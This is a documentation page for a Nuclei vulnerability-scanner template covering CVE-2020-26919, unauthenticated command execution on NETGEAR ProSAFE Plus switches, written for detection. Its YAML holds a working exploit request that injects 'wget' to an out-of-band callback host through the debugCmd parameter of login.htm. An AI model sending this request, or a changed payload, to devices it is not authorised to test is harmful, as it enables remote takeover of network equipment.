Skip to content
Nuclei Templates

NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution

ID: CVE-2020-26919

Severity: critical

Author: gy741

Tags: cve,cve2020,netgear,rce,oast,router,unauth,kev

Description

Section titled “Description”

NETGEAR ProSAFE Plus before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.

YAML Source

Section titled “YAML Source”
id: CVE-2020-26919


info:
  name: NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: NETGEAR ProSAFE Plus  before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/
    - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26919
    - https://kb.netgear.com/000062334/Security-Advisory-for-Missing-Function-Level-Access-Control-on-JGS516PE-PSV-2020-0377
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-26919
    epss-score: 0.97285
    epss-percentile: 0.99849
    cpe: cpe:2.3:o:netgear:jgs516pe_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: jgs516pe_firmware
  tags: cve,cve2020,netgear,rce,oast,router,unauth,kev


http:
  - raw:
      - |
        POST /login.htm HTTP/1.1
        Host: {{Hostname}}
        Accept: */*


        submitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd=


    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4b0a00483046022100a70e332a85c023f35d567031aeb0d77a82d5efcce23579354faca4c0a2cd81f90221008aed5b2aa1c99445f0ebdc1eddbb2d90921f82b0d2855272967cabe21206af8b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-26919.yaml"

View on Github